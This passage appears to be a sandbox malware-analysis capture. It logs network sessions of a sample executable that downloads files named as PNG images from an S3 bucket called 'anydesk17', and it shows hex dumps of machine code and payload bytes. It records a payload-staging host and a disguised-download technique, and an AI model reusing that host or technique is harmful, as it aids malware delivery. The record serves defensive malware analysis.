2024-12-18 12:05:43 UTC	16384	IN	Data Raw: 04 48 8b 4c 11 48 48 85 c9 74 07 48 8b 01 ff 50 10 90 48 83 c4 38 c3 cc cc cc 40 53 48 83 ec 30 48 c7 44 24 20 fe ff ff ff 48 8b d9 ff 15 d8 c4 0d 00 90 84 c0 75 0a 48 8b 0b ff 15 f2 c4 0d 00 90 48 8b 13 48 8b 02 48 63 48 04 48 8b 4c 11 48 48 85 c9 74 07 48 8b 01 ff 50 10 90 48 83 c4 30 5b c3 cc cc cc cc cc cc cc cc 40 57 48 83 ec 40 48 c7 44 24 20 fe ff ff ff 48 89 5c 24 50 48 89 74 24 58 48 8b f9 48 8b 02 48 89 44 24 28 4c 8b 42 08 33 c9 48 89 0a 48 89 4a 08 48 89 07 48 8b 4f 08 48 89 4c 24 30 4c 89 47 08 48 85 c9 74 33 83 ce ff 8b c6 f0 0f c1 41 08 83 f8 01 75 24 48 8b 5c 24 30 48 8b 03 48 8b cb ff 50 10 f0 0f c1 73 0c 83 fe 01 75 0c 48 8b 4c 24 30 48 8b 01 ff 50 18 90 48 8b c7 48 8b 5c 24 50 48 8b 74 24 58 48 83 c4 40 5f c3 cc cc cc cc 48 89 5c 24 18 Data Ascii: HLHHtHPH8@SH0HD$ HuHHHHcHHLHHtHPH0[@WH@HD$ H\$PHt$XHHHD$(LB3HHJHHOHL$0LGHt3Au$H\$0HHPsuHL$0HPHH\$PHt$XH@_H\$
2024-12-18 12:05:43 UTC	1024	IN	Data Raw: 08 40 32 ff e9 d6 01 00 00 4c 89 74 24 20 48 8d 45 f8 48 89 44 24 28 c6 44 24 30 00 48 8b 0b 48 8b 01 48 8d 95 a8 00 00 00 ff 10 90 48 8b 08 48 8b 01 48 8d 54 24 38 ff 50 08 90 48 8b 85 a8 00 00 00 48 85 c0 74 16 48 8b 48 08 48 63 51 04 48 8d 48 08 48 03 ca 48 8b 01 ff 50 08 90 48 8b 44 24 28 48 8b 4c 24 40 48 85 c9 74 07 48 83 79 08 00 75 14 48 85 c0 0f 84 fa 00 00 00 48 83 78 08 00 0f 84 ef 00 00 00 48 85 c9 74 2e 48 83 79 08 00 74 27 48 85 c0 74 22 48 83 78 08 00 74 1b 48 8b d0 e8 93 0e 01 00 85 c0 75 0f 48 8b 44 24 28 48 8b 4c 24 40 e9 bc 00 00 00 48 8d 15 79 6f 1d 00 48 8d 4c 24 70 e8 3f 07 ff ff 90 c7 85 a8 00 00 00 01 00 00 00 48 8b 5c 24 78 48 8b 4c 24 40 48 85 c9 74 07 48 83 79 08 00 75 0c 48 85 db 74 2b 48 83 7b 08 00 74 24 48 85 c9 74 43 48 83 Data Ascii: @2Lt$ HEHD$(D$0HHHHHHT$8PHHtHHHcQHHHHPHD$(HL$@HtHyuHHxHt.Hyt'Ht"HxtHuHD$(HL$@HyoHL$p?H\$xHL$@HtHyuHt+H{t$HtCH
2024-12-18 12:05:43 UTC	16384	IN	Data Raw: ff ff 48 3b c3 74 14 4c 8b 43 08 48 8b c8 48 8b 13 48 83 c4 20 5b e9 7f 01 ff ff 48 83 c4 20 5b c3 cc cc cc cc cc cc cc cc cc c2 00 00 cc cc cc cc cc cc cc cc cc cc cc cc cc c2 00 00 cc cc cc cc cc cc cc cc cc cc cc cc cc c2 00 00 cc cc cc cc cc cc cc cc cc cc cc cc cc 40 53 48 83 ec 30 48 c7 44 24 20 fe ff ff ff 49 8b d8 4c 8b 02 4d 85 c0 74 16 49 8b 40 08 48 63 48 04 49 83 c0 08 49 03 c8 48 8b 01 ff 50 08 90 48 8b 13 48 85 d2 74 16 48 8b 42 08 48 63 48 04 48 83 c2 08 48 03 ca 48 8b 01 ff 50 08 90 48 83 c4 30 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc 40 55 53 56 57 41 54 41 55 41 56 41 57 48 8d 6c 24 e1 48 81 ec f8 00 00 00 48 c7 45 af fe ff ff ff 48 8b 05 d8 ef 24 00 48 33 c4 48 89 45 0f 49 8b f1 4d 8b e8 4c 8b e2 4c 8b f9 48 89 55 b7 4c 89 45 bf 33 ff Data Ascii: H;tLCHHH [H [@SH0HD$ ILMtI@HcHIIHPHHtHBHcHHHHPH0[@USVWATAUAVAWHl$HHEH$H3HEIMLLHULE3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49714	3.5.237.31	443	1472	C:\Users\user\Desktop\VJQyKuHEUe.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 12:05:49 UTC	70	OUT	GET /view.png HTTP/1.1 Host: anydesk17.s3.ap-east-1.amazonaws.com
2024-12-18 12:05:50 UTC	436	IN	HTTP/1.1 200 OK x-amz-id-2: xRLddAZEV2GXRAKcvPPknUbNVzoggQGjbVO5254EdMYj9oRQpOWZFYyfbdW5bY3uQ8xLA66XnCiDrx3aVAig23jRoQuixdV9 x-amz-request-id: FQPA43K6P9CB0WEG Date: Wed, 18 Dec 2024 12:05:51 GMT Last-Modified: Thu, 12 Dec 2024 20:28:18 GMT ETag: "1e17e3f8b9917ce02cdb53f289db96c9" x-amz-server-side-encryption: AES256 Accept-Ranges: bytes Content-Type: image/png Content-Length: 376421 Server: AmazonS3 Connection: close
2024-12-18 12:05:50 UTC	16384	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 5d 00 00 01 86 08 02 00 00 00 ce f1 a3 0d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 11 74 45 58 74 53 6f 66 74 77 61 72 65 00 53 6e 69 70 61 73 74 65 5d 17 ce dd 00 00 20 00 49 44 41 54 78 9c ec bd 57 a2 24 3b 8e 25 08 d0 3d 7b cd b3 85 d9 62 ef a4 32 dc 70 e6 03 9a a4 89 2b e2 65 75 4f 31 5f de 30 37 a3 00 41 68 2a fe df ff ef ff 03 92 e3 23 44 20 22 62 26 22 26 ce 47 22 22 1e 63 10 31 40 96 8d a8 3e 33 33 b3 7e 25 22 10 6a 26 10 83 06 13 7b 65 4b 02 00 2f bc 4d 4c c4 cc 91 39 fe d6 87 8b 74 9b e3 35 06 33 8b 48 64 e6 02 18 20 06 06 5b 1f 14 98 02 12 69 16 f6 54 ca a2 94 5d 00 b3 0c 20 26 66 8a b2 db 9e e6 b3 0f 4c e4 1f 63 50 c5 4f 47 0e 00 c8 25 0e 98 06 8f ec f6 92 Data Ascii: PNGIHDR]pHYs%%IR$tEXtSoftwareSnipaste] IDATxW$;%={b2p+euO1_07Ah*#D "b&"&G""c1@>33~%"j&{eK/ML9t53Hd [iT] &fLcPOG%
2024-12-18 12:05:50 UTC	588	IN	Data Raw: 1d 75 6a 36 9d 1f c0 11 91 47 72 d3 ca e0 b8 12 59 c4 c3 98 d5 d0 07 db 89 88 f1 c6 83 8b 76 f6 3a 5c 25 19 1a 5d 20 29 c0 cd 05 2f bc 12 02 be b2 63 9e c9 b0 0e 65 ed 5d 95 7a d3 10 2f 17 91 f5 b2 da a5 09 2c ab 69 70 b9 77 f7 96 e4 b2 27 b5 16 44 37 89 40 e8 d7 dc 86 58 3b 07 b0 35 1e b6 86 19 5c d0 37 37 a4 89 3d 99 00 00 20 00 49 44 41 54 96 d9 5d b4 60 e9 de ba 18 06 12 80 74 86 20 63 d0 ce 7b 02 3d 3f 91 99 f8 35 d4 91 50 82 32 7b 89 3d fc 03 f1 8b d5 1a c4 99 86 cd 35 18 f5 88 40 81 89 31 bf 1c df 2a 3e 67 93 1d 1e 92 6d 05 cc 0c 25 b2 7e 9d 23 b7 48 fb 68 67 47 22 f6 17 45 ac 87 cd de b9 74 43 27 3e e2 8d 67 27 50 af e5 d0 79 e4 6c 81 14 44 44 6f df 98 65 5c a7 88 d3 05 78 ae 74 94 40 a4 1a 65 93 dd 21 87 08 30 c6 50 9f 80 fb 5a c7 33 83 b5 e8 c8 Data Ascii: uj6GrYv:\%] )/ce]z/,ipw'D7@X;5\77= IDAT]`t c{=?5P2{=5@1*>gm%~#HhgG"EtC'>g'PylDDoe\xt@e!0PZ3
2024-12-18 12:05:50 UTC	16384	IN	Data Raw: 60 56 76 63 d7 8e f3 f5 b1 33 9d e4 41 ca d1 d6 04 5e 0d d2 d4 6c f9 2b 21 6c 32 b6 c8 cf 5a 9c 9f de bf f8 a5 14 e8 be b8 96 ef 2b 29 ad c3 b3 54 97 e7 d0 33 6d 71 9b 94 0f 23 76 f1 93 aa 1e 24 3e ef e0 df 6e 9a b0 6c 1b f8 dd 24 82 7f ff fb df 2a cd 78 77 03 59 91 41 c9 ae 93 19 f1 24 99 36 72 23 e3 4b 7d f9 1b 1d ff 46 42 9f 7b 7e 10 ff f9 8b 90 23 7c e1 ff 64 fa 27 9a ff bb a3 1f f4 bc 48 eb 7f 86 ea 8a 45 f1 4f cd e5 f7 b4 f5 e6 6b 04 f8 92 ce 2f 64 e3 d3 e4 f2 ad e9 c5 22 22 e6 d6 df f5 da 5b f6 80 92 06 85 72 56 a5 da 7b fb 04 3f 23 99 44 38 da 13 31 43 d3 e2 5b 7b 83 22 b7 e6 d4 18 6c f1 23 cb 95 42 27 8d 97 28 ae 96 a5 c8 6f 16 47 f5 f7 29 f3 54 d1 ab 51 d3 ec 8c ba 2d 02 11 e8 b9 e5 e4 86 aa f5 a4 ac 10 bb 66 5e d8 d9 b0 de 1a d8 ab d3 07 88 c5 Data Ascii: `Vvc3A^l+!l2Z+)T3mq#v$>nl$*xwYA$6r#K}FB{~#\|d'HEOk/d""[rV{?#D81C[{"l#B'(oG)TQ-f^
2024-12-18 12:05:50 UTC	1024	IN	Data Raw: 71 0a 82 19 3f 2d 8b 47 12 8b 4e 1c 23 07 3f 58 0d ea 7e 8e ae 83 94 ef a0 a2 e4 ef 70 51 87 df 0f c5 d6 60 dc 3c ab 53 fb c4 79 b6 28 d4 37 26 a4 2a 81 d7 09 89 d1 0e c8 da ca 02 5d 66 7b ed b5 f7 e6 16 72 71 db fe 7e d0 12 68 e4 9e 15 9d 2a ff 9a 63 b8 b3 44 15 ad 92 99 04 0e 45 17 bc ec e4 a1 d7 64 5b ef 28 50 2e b9 ec 0e e5 b4 7d b2 bd 24 bd ef 90 73 ae b5 b7 31 54 3c 5e 5c 5a dd 57 00 aa 32 74 a8 ea f6 a8 ff ea 7c 6e d5 b8 20 7f fc 44 a1 dc 19 9d 0f 30 b4 88 28 a2 22 37 36 fb 5e 1e 5b 94 18 35 5c 91 64 cd 91 3a 54 d5 10 ba 9b cb 5f 11 95 55 25 48 c2 db 1c f0 e9 d4 8a 38 23 d9 43 21 8b fe 0d 50 e3 24 45 19 95 de ab 6e 9f 3b 41 54 85 14 af f4 67 09 1b 67 90 82 a2 43 b2 d3 5f 5f 71 df bf 0f 66 72 f1 cf ef e8 e4 fc b5 6d 6a 6f 79 ca 77 a4 f5 b8 19 63 0d Data Ascii: q?-GN#?X~pQ`<Sy(7&]f{rq~hcDEd[(P.}$s1T<^\ZW2t\|n D0("76^[5\d:T_U%H8#C!P$En;ATggC__qfrmjoywc
2024-12-18 12:05:50 UTC	16384	IN	Data Raw: 11 d3 d4 23 23 34 4a b8 41 24 2e 4e 51 e7 a1 ee c2 f5 0f ee 90 14 c8 1c fa 67 0e 97 32 ca 48 8e 80 4f a8 50 a7 3e 02 12 5d 15 73 e8 19 a2 13 07 17 f1 b1 01 1f 7c a3 64 53 49 fb f6 a4 28 b4 e7 68 c5 6c 67 29 87 c3 be 72 dd 8b 3c 4d 40 55 9d b2 11 62 4e b2 1e 10 d8 24 68 1e b4 18 12 7a 96 4d 2b 78 db c6 6d 7b c3 0d 7e b6 f3 98 a6 65 db 09 64 db 7e af 37 33 51 b8 e1 62 bc f1 0e 32 7b aa 52 7d 33 fe 47 5c a5 a6 f1 b1 97 2f 5c fc fc 0e cb 40 00 a4 b2 25 02 3d d6 f9 10 26 e1 92 d9 11 34 d0 c0 13 80 60 be dc 21 77 d6 b5 09 19 df 8f 44 7a 2c 86 7a 56 b9 84 4e e8 f4 3a 74 88 aa 0a 44 d4 74 f3 80 76 fa bd e3 78 01 42 f4 61 a7 ba 71 11 9d 0f 7c 87 8b a7 c4 4f c3 92 f6 dd bf b3 c8 3e c3 9f 9f ff f9 72 92 2c 3a 3e 9d 39 63 7b f6 30 d9 d9 5f ae 58 17 9e cf f8 d8 7e bf Data Ascii: ##4JA$.NQg2HOP>]s\|dSI(hlg)r<M@UbN$hzM+xm{~ed~73Qb2{R}3G\/\@%=&4`!wDz,zVN:tDtvxBaq\|O>r,:>9c{0_X~
2024-12-18 12:05:50 UTC	1024	IN	Data Raw: 1a b2 96 ed 1a 7d 00 db 99 cf ed 5f 3c 59 99 b8 2d dc 02 32 55 7d 7a d5 4d 4b 2f 7e 29 b9 a4 7c 7c 59 bb a3 f0 ec 93 10 d9 09 d4 ac e6 2b 44 05 ff 17 9e 18 01 70 4c 66 cb 6a 9c 84 fd 5c e2 48 48 e2 61 3a 5f 85 d5 14 13 61 ff d4 e1 88 43 3b 06 1e 03 3a 28 22 bf 44 dc 4c 1c e3 1f 5d 89 a1 1a cc 78 d9 e1 07 27 92 4e ff 24 87 e0 eb 4b 3c 97 43 88 5f 2e 28 e8 42 ed af c7 20 31 58 a6 d6 cc 7f 99 b3 e7 b3 7f 9e e7 49 9b 53 33 40 09 01 28 91 81 da db cc af 85 ce a9 fa 0d 1e 40 da 77 11 aa c4 90 8a 10 96 95 d1 fd 7e 17 0a 19 dc 1c 16 6c dc f9 72 66 fa a8 fa 86 d1 46 9c c0 77 6f 55 00 0a 88 9a 19 28 46 e1 21 f8 12 1e 03 c7 80 87 75 63 b6 3c 06 2f f6 99 4d 4d 14 54 a5 e7 85 7e 0a 0f ab 69 5f c0 53 b8 88 48 d5 ce 26 0b 15 95 93 b4 5f bf 1e 32 78 64 38 9b 63 f8 61 cb Data Ascii: }_<Y-2U}zMK/~)\|\|Y+DpLfj\HHa:_aC;:("DL]x'N$K<C_.(B 1XIS3@(@w~lrfFwoU(F!uc</MMT~i_SH&_2xd8ca
2024-12-18 12:05:50 UTC	1749	IN	Data Raw: 86 e6 cc f8 6e d4 65 a2 2c ff 34 36 1f aa 8b c0 5a 8e 81 00 3c 4f d8 8e 8b 1b 34 5d d1 87 d9 68 b3 1c b7 fb d0 87 54 6c 97 6f ff e9 65 bf 5d 62 21 62 e0 e2 79 9e 73 9e e7 b9 70 51 95 53 dc 85 d6 a3 d4 8b 8d 6c 3b 1e 82 48 e8 93 c4 50 f3 cb 24 fb 5a 50 35 e8 92 4f 80 5c 65 fe 49 66 5c 02 d2 fb 23 7c 11 d7 9b c8 ba 8d 62 b0 63 3c 52 d9 75 6b 3c f4 a1 e7 3c ce af 63 9e 53 64 1c bf 7e f9 27 ae 66 3d 46 ec 52 85 5c 62 db 4a 4c a9 6d fd 7f e1 62 fa 4a 34 59 d3 84 f4 0c 85 0d 11 d1 b4 45 70 38 f7 a7 40 06 e5 90 91 ba 66 08 71 c2 cd dc d2 27 ce ad 64 67 fa a9 7a e9 8e 8b 79 4e 66 f1 6a f7 57 08 55 5c 4f b7 29 16 cf 5e 36 12 4b 0c 6a 95 0e b3 b3 76 d4 02 17 d5 74 00 f6 78 c8 63 8c 41 19 f0 64 54 a3 70 d1 87 6a 64 38 82 38 bd 1d 5e 2f 91 e9 e5 f9 1c ff fe 1e ab de Data Ascii: ne,46Z<O4]hTloe]b!byspQSl;HP$ZP5O\eIf\#\|bc<Ruk<<cSd~'f=FR\bJLmbJ4YEp8@fq'dgzyNfjWU\O)^6KjvtxcAdTpjd88^/
2024-12-18 12:05:50 UTC	9000	IN	Data Raw: b5 e2 0c 09 4c 99 20 5a e2 72 4d 53 83 a9 4d 77 09 5c 74 85 6b 85 25 f0 79 b6 23 77 63 83 32 9a 50 58 12 8a a8 0c 85 12 b3 a0 c5 cc 8c a6 ac 05 e0 d0 3f 68 c2 49 78 c0 2c 0b f4 2f d9 96 5b b1 79 9d 65 f9 b0 6c 02 63 d7 63 7b 97 c9 64 ad b4 b3 a2 0d a6 fd a5 be 21 0a e3 b3 cd c0 8a f8 93 a4 65 30 62 4e 25 74 62 46 d2 2e 13 01 8e 88 7b 1f fe 5c 19 68 37 1c 58 34 73 81 d1 7a 30 7c a4 90 66 bd 71 2a 01 d8 a1 7f cf d8 3c 1e e3 f8 f5 35 8e 21 6a 60 1a 66 9d 9f 34 d7 25 0f 6b 60 ee c9 4f 51 3f 7b b1 d0 3d e3 aa ef 52 6b d2 ab 71 50 4a 5f 4c 7d 32 e3 6f a4 81 76 08 06 cd cf 5c 59 4c 9c ba 4b 93 e9 8c e1 cb 51 4f 99 c5 00 0c 91 14 67 98 51 d2 82 79 38 aa 9c 16 a1 0a 35 87 a7 96 a3 e6 6e ad 33 12 cb bf 9e 11 ce 2a e4 56 90 aa 34 d3 e9 87 25 c2 ff d6 73 71 d8 f7 19 Data Ascii: L ZrMSMw\tk%y#wc2PX?hIx,/[yelcc{d!e0bN%tbF.{\h7X4sz0\|fq<5!j`f4%k`OQ?{=RkqPJ_L}2ov\YLKQOgQy85n3V4%sq
2024-12-18 12:05:51 UTC	16384	IN	Data Raw: 60 01 8c 41 d9 02 a6 d4 1e db f6 2b d6 39 4d 92 6b 75 b8 95 07 af d6 51 ae 73 9a d9 34 23 26 36 6e e0 aa 9c 2a ce fe b9 b8 8e e0 c1 31 4d 11 d9 94 ac ed fd b5 89 8e a3 87 56 2c 35 5a 4a 0b e3 81 79 90 18 34 cd 24 9a 18 3f e7 4a 5d 5a 16 55 c7 99 16 d2 21 31 29 f5 c2 3c fc e7 1b 8b 93 c1 f2 65 0c 98 eb df 53 a7 e9 39 a7 9e a7 ce 79 3c 06 48 8e 75 c5 4e 9d c8 31 86 1f 2f 0f 5e bb 2d 25 00 38 3c 74 1a a0 3a 6b 1e 7d f9 38 e4 44 38 9d 57 f8 8e 85 8b 70 db c0 75 fa 5b 54 af 18 1c f5 4e 79 20 05 c2 e0 04 8c 86 8b b1 75 5a 76 04 a3 45 40 4b 96 20 e3 ee ad be c8 cc 4f 4d 2b 84 94 11 c7 e7 d4 4c 75 5a 4b 72 4c 52 8d f5 93 c1 f6 bb 4a 6d 06 a4 11 75 0d d3 1d 17 37 51 62 1b d5 cb f3 1b eb 29 ca 9e d9 a6 b2 c4 16 dd b7 e1 7e 09 30 04 3c 58 a2 53 70 da 1f 2e 2f b1 67 Data Ascii: `A+9MkuQs4#&6n*1MV,5ZJy4$?J]ZU!1)<eS9y<HuN1/^-%8<t:k}8D8Wpu[TNy uZvE@K OM+LuZKrLRJmu7Qb)~0<XSp./g
2024-12-18 12:05:51 UTC	1024	IN	Data Raw: 1e 0d cd b0 b1 a7 6d a1 c5 15 42 75 7f 6c 3e 3b 01 68 ef 81 c8 68 61 52 26 30 d9 09 d4 6d cb 59 0f 2a a6 fb 6d bb e2 71 c2 5a 7a b2 b7 7a 09 6f f4 da cd 98 47 61 c1 e3 18 b3 3a d6 1e 1c c8 aa 35 a9 85 32 13 81 ca 90 50 35 37 88 84 e9 9e cc 9c f3 f1 85 1b 50 05 37 ee ee a4 14 1d 87 84 d6 d0 25 d7 99 cb 31 45 2a ac 60 af e8 1a b3 da cc 7b 59 de 17 3d 4b d6 c8 aa 49 2e 70 d9 96 2a 8f 61 e3 49 6d dc 7b 79 ff da 95 14 4e 9e ee d2 e2 ac fa d6 f7 c4 7c 10 49 8f f5 b9 a9 b5 7a 24 6f af 6c c0 c6 cd 7e 7a 6f 16 ec 6b e7 33 3a c2 42 27 55 18 df 2e dc 83 ea ca de d1 fc 3c 6f fc c3 06 d8 76 df 24 c3 cc 7e b3 dd 2f 6f 5b 77 e2 a8 56 b4 21 20 9f d3 10 15 c7 85 51 f8 94 6b 30 12 07 63 8d 77 ec cb 71 9b 8a e1 70 02 9c a6 ef 7a 69 63 0b 02 10 8a 02 b9 c5 45 88 ed 60 9d 69 Data Ascii: mBul>;hhaR&0mYmqZzzoGa:52P57P7%1E`{Y=KI.p*aIm{yN\|Iz$ol~zok3:B'U.<ov$~/o[wV! Qk0cwqpzicE`i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49715	3.5.238.183	443	1472	C:\Users\user\Desktop\VJQyKuHEUe.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 12:05:53 UTC	69	OUT	GET /aut.png HTTP/1.1 Host: anydesk17.s3.ap-east-1.amazonaws.com
2024-12-18 12:05:54 UTC	446	IN	HTTP/1.1 200 OK x-amz-id-2: nHTfFCDebI1862kJlPX+EJdcbgbw669Hft7bRRxVMzCWJFQ3N+32OfShzoDS62cICk2+TDha+E12LZB8YsaHHX71sfFLdj8O x-amz-request-id: NX351FFWV52Y3C2P Date: Wed, 18 Dec 2024 12:05:55 GMT Last-Modified: Fri, 13 Dec 2024 18:14:05 GMT ETag: "0ca6a22e9feadb18c76712b5b0256b96" x-amz-server-side-encryption: AES256 Accept-Ranges: bytes Content-Type: binary/octet-stream Content-Length: 660160 Server: AmazonS3 Connection: close
2024-12-18 12:05:54 UTC	16384	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 5d 00 00 01 86 08 02 00 00 00 ce f1 a3 0d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 11 74 45 58 74 53 6f 66 74 77 61 72 65 00 53 6e 69 70 61 73 74 65 5d 17 ce dd 00 00 20 00 49 44 41 54 78 9c ec bd 57 a2 24 3b 8e 25 08 d0 3d 7b cd b3 85 d9 62 ef a4 32 dc 70 e6 03 9a a4 89 2b e2 65 75 4f 31 5f de 30 37 a3 00 41 68 2a fe df ff ef ff 03 92 e3 23 44 20 22 62 26 22 26 ce 47 22 22 1e 63 10 31 40 96 8d a8 3e 33 33 b3 7e 25 22 10 6a 26 10 83 06 13 7b 65 4b 02 00 2f bc 4d 4c c4 cc 91 39 fe d6 87 8b 74 9b e3 35 06 33 8b 48 64 e6 02 18 20 06 06 5b 1f 14 98 02 12 69 16 f6 54 ca a2 94 5d 00 b3 0c 20 26 66 8a b2 db 9e e6 b3 0f 4c e4 1f 63 50 c5 4f 47 0e 00 c8 25 0e 98 06 8f ec f6 92 Data Ascii: PNGIHDR]pHYs%%IR$tEXtSoftwareSnipaste] IDATxW$;%={b2p+euO1_07Ah*#D "b&"&G""c1@>33~%"j&{eK/ML9t53Hd [iT] &fLcPOG%
2024-12-18 12:05:54 UTC	578	IN	Data Raw: 1d 75 6a 36 9d 1f c0 11 91 47 72 d3 ca e0 b8 12 59 c4 c3 98 d5 d0 07 db 89 88 f1 c6 83 8b 76 f6 3a 5c 25 19 1a 5d 20 29 c0 cd 05 2f bc 12 02 be b2 63 9e c9 b0 0e 65 ed 5d 95 7a d3 10 2f 17 91 f5 b2 da a5 09 2c ab 69 70 b9 77 f7 96 e4 b2 27 b5 16 44 37 89 40 e8 d7 dc 86 58 3b 07 b0 35 1e b6 86 19 5c d0 37 37 a4 89 3d 99 00 00 20 00 49 44 41 54 96 d9 5d b4 60 e9 de ba 18 06 12 80 74 86 20 63 d0 ce 7b 02 3d 3f 91 99 f8 35 d4 91 50 82 32 7b 89 3d fc 03 f1 8b d5 1a c4 99 86 cd 35 18 f5 88 40 81 89 31 bf 1c df 2a 3e 67 93 1d 1e 92 6d 05 cc 0c 25 b2 7e 9d 23 b7 48 fb 68 67 47 22 f6 17 45 ac 87 cd de b9 74 43 27 3e e2 8d 67 27 50 af e5 d0 79 e4 6c 81 14 44 44 6f df 98 65 5c a7 88 d3 05 78 ae 74 94 40 a4 1a 65 93 dd 21 87 08 30 c6 50 9f 80 fb 5a c7 33 83 b5 e8 c8 Data Ascii: uj6GrYv:\%] )/ce]z/,ipw'D7@X;5\77= IDAT]`t c{=?5P2{=5@1*>gm%~#HhgG"EtC'>g'PylDDoe\xt@e!0PZ3
2024-12-18 12:05:54 UTC	16384	IN	Data Raw: f7 96 b9 fe da f6 81 29 4e 15 60 56 76 63 d7 8e f3 f5 b1 33 9d e4 41 ca d1 d6 04 5e 0d d2 d4 6c f9 2b 21 6c 32 b6 c8 cf 5a 9c 9f de bf f8 a5 14 e8 be b8 96 ef 2b 29 ad c3 b3 54 97 e7 d0 33 6d 71 9b 94 0f 23 76 f1 93 aa 1e 24 3e ef e0 df 6e 9a b0 6c 1b f8 dd 24 82 7f ff fb df 2a cd 78 77 03 59 91 41 c9 ae 93 19 f1 24 99 36 72 23 e3 4b 7d f9 1b 1d ff 46 42 9f 7b 7e 10 ff f9 8b 90 23 7c e1 ff 64 fa 27 9a ff bb a3 1f f4 bc 48 eb 7f 86 ea 8a 45 f1 4f cd e5 f7 b4 f5 e6 6b 04 f8 92 ce 2f 64 e3 d3 e4 f2 ad e9 c5 22 22 e6 d6 df f5 da 5b f6 80 92 06 85 72 56 a5 da 7b fb 04 3f 23 99 44 38 da 13 31 43 d3 e2 5b 7b 83 22 b7 e6 d4 18 6c f1 23 cb 95 42 27 8d 97 28 ae 96 a5 c8 6f 16 47 f5 f7 29 f3 54 d1 ab 51 d3 ec 8c ba 2d 02 11 e8 b9 e5 e4 86 aa f5 a4 ac 10 bb 66 5e d8 Data Ascii: )N`Vvc3A^l+!l2Z+)T3mq#v$>nl$*xwYA$6r#K}FB{~#\|d'HEOk/d""[rV{?#D81C[{"l#B'(oG)TQ-f^
2024-12-18 12:05:54 UTC	1024	IN	Data Raw: 87 39 35 7c 6a 95 9a 44 c0 4f 71 0a 82 19 3f 2d 8b 47 12 8b 4e 1c 23 07 3f 58 0d ea 7e 8e ae 83 94 ef a0 a2 e4 ef 70 51 87 df 0f c5 d6 60 dc 3c ab 53 fb c4 79 b6 28 d4 37 26 a4 2a 81 d7 09 89 d1 0e c8 da ca 02 5d 66 7b ed b5 f7 e6 16 72 71 db fe 7e d0 12 68 e4 9e 15 9d 2a ff 9a 63 b8 b3 44 15 ad 92 99 04 0e 45 17 bc ec e4 a1 d7 64 5b ef 28 50 2e b9 ec 0e e5 b4 7d b2 bd 24 bd ef 90 73 ae b5 b7 31 54 3c 5e 5c 5a dd 57 00 aa 32 74 a8 ea f6 a8 ff ea 7c 6e d5 b8 20 7f fc 44 a1 dc 19 9d 0f 30 b4 88 28 a2 22 37 36 fb 5e 1e 5b 94 18 35 5c 91 64 cd 91 3a 54 d5 10 ba 9b cb 5f 11 95 55 25 48 c2 db 1c f0 e9 d4 8a 38 23 d9 43 21 8b fe 0d 50 e3 24 45 19 95 de ab 6e 9f 3b 41 54 85 14 af f4 67 09 1b 67 90 82 a2 43 b2 d3 5f 5f 71 df bf 0f 66 72 f1 cf ef e8 e4 fc b5 6d 6a Data Ascii: 95\|jDOq?-GN#?X~pQ`<Sy(7&]f{rq~hcDEd[(P.}$s1T<^\ZW2t\|n D0("76^[5\d:T_U%H8#C!P$En;ATggC__qfrmj
2024-12-18 12:05:54 UTC	16384	IN	Data Raw: 30 c4 40 93 ed c5 49 6e 5c 14 11 d3 d4 23 23 34 4a b8 41 24 2e 4e 51 e7 a1 ee c2 f5 0f ee 90 14 c8 1c fa 67 0e 97 32 ca 48 8e 80 4f a8 50 a7 3e 02 12 5d 15 73 e8 19 a2 13 07 17 f1 b1 01 1f 7c a3 64 53 49 fb f6 a4 28 b4 e7 68 c5 6c 67 29 87 c3 be 72 dd 8b 3c 4d 40 55 9d b2 11 62 4e b2 1e 10 d8 24 68 1e b4 18 12 7a 96 4d 2b 78 db c6 6d 7b c3 0d 7e b6 f3 98 a6 65 db 09 64 db 7e af 37 33 51 b8 e1 62 bc f1 0e 32 7b aa 52 7d 33 fe 47 5c a5 a6 f1 b1 97 2f 5c fc fc 0e cb 40 00 a4 b2 25 02 3d d6 f9 10 26 e1 92 d9 11 34 d0 c0 13 80 60 be dc 21 77 d6 b5 09 19 df 8f 44 7a 2c 86 7a 56 b9 84 4e e8 f4 3a 74 88 aa 0a 44 d4 74 f3 80 76 fa bd e3 78 01 42 f4 61 a7 ba 71 11 9d 0f 7c 87 8b a7 c4 4f c3 92 f6 dd bf b3 c8 3e c3 9f 9f ff f9 72 92 2c 3a 3e 9d 39 63 7b f6 30 d9 d9 Data Ascii: 0@In\##4JA$.NQg2HOP>]s\|dSI(hlg)r<M@UbN$hzM+xm{~ed~73Qb2{R}3G\/\@%=&4`!wDz,zVN:tDtvxBaq\|O>r,:>9c{0
2024-12-18 12:05:54 UTC	1024	IN	Data Raw: a0 c6 d8 47 72 8f 13 1b c8 b2 1a b2 96 ed 1a 7d 00 db 99 cf ed 5f 3c 59 99 b8 2d dc 02 32 55 7d 7a d5 4d 4b 2f 7e 29 b9 a4 7c 7c 59 bb a3 f0 ec 93 10 d9 09 d4 ac e6 2b 44 05 ff 17 9e 18 01 70 4c 66 cb 6a 9c 84 fd 5c e2 48 48 e2 61 3a 5f 85 d5 14 13 61 ff d4 e1 88 43 3b 06 1e 03 3a 28 22 bf 44 dc 4c 1c e3 1f 5d 89 a1 1a cc 78 d9 e1 07 27 92 4e ff 24 87 e0 eb 4b 3c 97 43 88 5f 2e 28 e8 42 ed af c7 20 31 58 a6 d6 cc 7f 99 b3 e7 b3 7f 9e e7 49 9b 53 33 40 09 01 28 91 81 da db cc af 85 ce a9 fa 0d 1e 40 da 77 11 aa c4 90 8a 10 96 95 d1 fd 7e 17 0a 19 dc 1c 16 6c dc f9 72 66 fa a8 fa 86 d1 46 9c c0 77 6f 55 00 0a 88 9a 19 28 46 e1 21 f8 12 1e 03 c7 80 87 75 63 b6 3c 06 2f f6 99 4d 4d 14 54 a5 e7 85 7e 0a 0f ab 69 5f c0 53 b8 88 48 d5 ce 26 0b 15 95 93 b4 5f bf Data Ascii: 